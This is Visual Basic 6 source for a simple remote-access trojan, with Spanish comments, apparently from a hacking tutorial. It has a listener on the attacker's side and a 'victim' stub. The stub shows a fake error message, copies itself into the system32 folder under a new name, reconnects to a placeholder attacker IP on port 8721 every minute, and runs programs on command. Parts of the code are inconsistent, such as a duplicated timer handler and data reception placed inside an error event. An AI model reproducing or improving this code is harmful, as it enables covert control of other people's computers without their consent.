Private Sub Command1_Click()
On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
ws.Close                                                            'ws llama al objeto winsock que hemos agregado el punto te deja elegir opciones, y la opcion close es para que cierre la conexiono el puerto abierto
ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
If ws.State = 2 Then Label1.Caption = "Estado:Conectando"            'si el estado del winsock es (Conectando) entonces la propiedad caption de la etiketa sera
End Sub

Private Sub Command2_Click()
ws.SendData Text2.Text
End Sub

Private Sub Timer1_Timer() 'al pasar 3 segundos de establecerse la conexion
On Error GoTo error
If Not ws.State = 7 Then                       'si el estado de la conexion no es (conectado) entonces que me ponga en una etekita "Desconectado"
Label1.Caption = "Estad:Desconectado"
Else
End If
If ws.State = 7 Then
Label1.Caption = "Estado:Conectado"
Else
End If
If Label1.Caption = "Estado:Desconectado" Then     'si pone desconectado en el label, entonces ejecuta lo de la etiketa puente,"cerrar y volver a escuchar"
Label1.Caption = "Estado:Desconectado"
GoTo puente
Else
End If
GoTo error                                               'puentea y se salta el cierre y vuelta a escuchar la conexion, para que seguir normalmente con la conexion establecida
puente:
ws.Close
ws.Listen
error:
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)         'cuando se intente conectar a este (servicio,puerto,socket,o etc..) recojera su ip y ejecutara el siguiente codigo:
On Error GoTo error                                                                                'si ay un error ves ala etiketa (error)
ws.Close                                                                                                  'necesario para aceptar la conexion
ws.Accept requestID                                                                            'acepta cualquier conexion entrante
Label2.Caption = ws.RemoteHostIP                                                                                                                                     'esto ejecuta un archivo, yo lo puse para que ejecutase un sonido y asi coscarme de cuando se me conecta la victima, osea el servidor
Timer1.Interval = 300                                                                            '3 segunditosss, sobra decir que tienes que añadirlo asi que ahora sere mas concreto por que ya presupongo que as aprendido algo de vb de la revista, o con solo averlo visto por encima y jugueteado un poco con el , entenderas todo lo que digo, y sino ya pregunhtareis
error:
End Sub

Private Sub cmdok_Click()
On Error GoTo error
If Not ws.State = 7 Then GoTo puente         'si no ay conexion cierra, CONECTA ala ip puesta en la variable ipy po rel puerto puesto en la variable port
GoTo error
puente:
ws.Close
ws.Connect
error:
End Sub

Private Sub Form_Load()
MsgBox "Un error ha ocurrido en la aplicacion"
Dim win
Dim sys
Dim residencia
On Error Resume Next
ip = "xxxxxxxxx"                             'esta es nuestra ip local, asi que conectara a nuestra ip local, aqui se pondria nuestra ip publica, y si cambia pues os registrais en no-ip.com y si habeis leido la revista no tendreis problemas
ipftp = "xxxxxxxx"
port = 8721
ws.RemoteHost = ip
ws.RemotePort = port
Timer1.Interval = 60000     'se esteblace un intervalo de 3 segundos para ejecutar el evento timer1
ejec = App.Path                                    'le pasamos a la variable la ruta del exe que ejecute la victima
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"    'si no tiene la "\" al final, se la añadiremos
ejec = ejec & App.EXEName & ".exe"                 'añadimos ala ruta del exe, el nombre y la estension
Set obj = CreateObject("Scripting.FileSystemObject") 'declaramos un objeto tipo fileSystem object
Set win = obj.GetSpecialFolder(0)                    'para obtener la carpeta de windows y system
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)                                     'las ponemos en minusculas
sys = LCase(sys)
FileCopy ejec, sys & "\nombre1"                     'copia a windows\system32
Name sys & "\nombre1" As sys & "\nombre2.exe"       'renombra
End Sub

Private Sub Timer1_Timer() 'cuando pasan 60 segundos
On Error GoTo error
If Not ws.State = 7 Then Call cmdok_Click                                          'llama al evento click del boton cmdok si no ay conexion establecida
If ws.State = 7 Then Label2.Caption = "Estado:conectado" Else Label2.Caption = "Estado:desconectado"       ' ya esplicado
error:
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error GoTo error
Dim datos As String
ws.GetData datos          'metemos en la variable datos los datos que nos lleguen
Text1.Text = datos
If datos = "paint" Then Shell ("mspaint")
error:
End Sub